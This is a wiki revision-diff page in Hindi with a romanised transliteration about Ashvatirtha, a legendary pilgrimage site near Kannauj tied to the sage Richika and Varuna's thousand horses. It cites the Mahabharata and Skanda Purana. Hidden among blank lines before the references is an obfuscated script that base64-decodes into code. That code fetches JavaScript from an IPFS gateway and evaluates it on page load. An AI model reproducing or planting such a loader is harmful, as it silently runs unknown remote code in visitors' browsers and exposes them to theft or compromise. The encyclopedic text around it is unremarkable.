Difference between revisions of "अश्वतीर्थ"
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
Line 1: | Line 1: | ||
− | '''अश्वतीर्थ''' प्राचीन भारतवर्ष में [[कान्यकुब्ज]] देश का एक तीर्थ स्थान था। कहते हैं कि [[ऋचीक ऋषि]] ने [[वरुण देवता|वरुण]] से एक सहस्र श्याम कर्ण घोड़े यहीं पाए थे। | + | '''अश्वतीर्थ''' प्राचीन भारतवर्ष में [[कान्यकुब्ज]] देश का एक तीर्थ स्थान था। कहते हैं कि [[ऋचीक ऋषि]] ने [[वरुण देवता|वरुण]] से एक सहस्र श्याम कर्ण घोड़े यहीं पाए थे।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=पौराणिक कोश|लेखक=राणा प्रसाद शर्मा|अनुवादक= |आलोचक= |प्रकाशक=ज्ञानमण्डल लिमिटेड, वाराणसी|संकलन= भारत डिस्कवरी पुस्तकालय|संपादन= |पृष्ठ संख्या=556, परिशिष्ट 'क'|url=}}</ref> |
*अश्वतीर्थ का वर्णन [[वन पर्व महाभारत|महाभारत, वन पर्व]] के तीर्थपर्व के अंतर्गत है- | *अश्वतीर्थ का वर्णन [[वन पर्व महाभारत|महाभारत, वन पर्व]] के तीर्थपर्व के अंतर्गत है- | ||
Line 18: | Line 18: | ||
{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }} | {{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }} | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
+ | *ऐतिहासिक स्थानावली | विजयेन्द्र कुमार माथुर | वैज्ञानिक तथा तकनीकी शब्दावली आयोग | मानव संसाधन विकास मंत्रालय, भारत सरकार | ||
<references/> | <references/> | ||
− | |||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{महाभारत}}{{उत्तर प्रदेश के ऐतिहासिक स्थान}} | {{महाभारत}}{{उत्तर प्रदेश के ऐतिहासिक स्थान}} | ||
[[Category:पौराणिक स्थान]][[Category:उत्तर प्रदेश के ऐतिहासिक स्थान]][[Category:महाभारत]][[Category:पौराणिक स्थान]][[Category:पौराणिक कोश]][[Category:ऐतिहासिक स्थल]] | [[Category:पौराणिक स्थान]][[Category:उत्तर प्रदेश के ऐतिहासिक स्थान]][[Category:महाभारत]][[Category:पौराणिक स्थान]][[Category:पौराणिक कोश]][[Category:ऐतिहासिक स्थल]] | ||
__INDEX__ | __INDEX__ |
Revision as of 12:38, 16 May 2018
ashvatirth prachin bharatavarsh mean kanyakubj desh ka ek tirth sthan tha. kahate haian ki rrichik rrishi ne varun se ek sahasr shyam karn gho de yahian pae the.[1]
- ashvatirth ka varnan mahabharat, van parv ke tirthaparv ke aantargat hai-
'tatradevanh pitrin vipraanstarpayitva pun: pun:,
kanyatirtheashvatirthe ch gavaan tirthe ch bharat.'[2]
- yah sthan kanyakubj ya kannauj, uttar pradesh ke nikat ganga kaliandi sangam par sthit tha.
- kanyakubj ko is ullekh mean kanyatirth kaha gaya hai. yahaan gadhi ka tapovan tha.
- skand puran[3] ke anusar rrichik muni ko varun ne ek sahasr ashv die the, jinako lekar unhoanne gadhi ki putri satyavati se vivah kiya tha. isi karan ise ashvatirth kaha jata tha-
'tat: prabhriti vikhyatamashvatirthan dharatale,
gangatire shubhe punye kanyakubjasamipagamh'.
- mahabharat, anushasan parv[4] mean bhi isi katha ke prasang mean yah ullekh hai-
'adoore kanyakubjasy gangayastiramuttamamh,
ashvatirthan tadadyapi manavai: parikshyate'.
- bad mean kanyakubj ka hi ek nam ashvatirth p d gaya tha.
- vastav mean yah donoan sthan sannikat rahe hoange.
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- aitihasik sthanavali | vijayendr kumar mathur | vaijnanik tatha takaniki shabdavali ayog | manav sansadhan vikas mantralay, bharat sarakar
- ↑ pauranik kosh |lekhak: rana prasad sharma |prakashak: jnanamandal limited, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 556, parishisht 'k' |
- ↑ van parv mahabharat 95, 3
- ↑ skand puran, nagarakhand 165,37
- ↑ mahabharat, anushasan parv, 4,17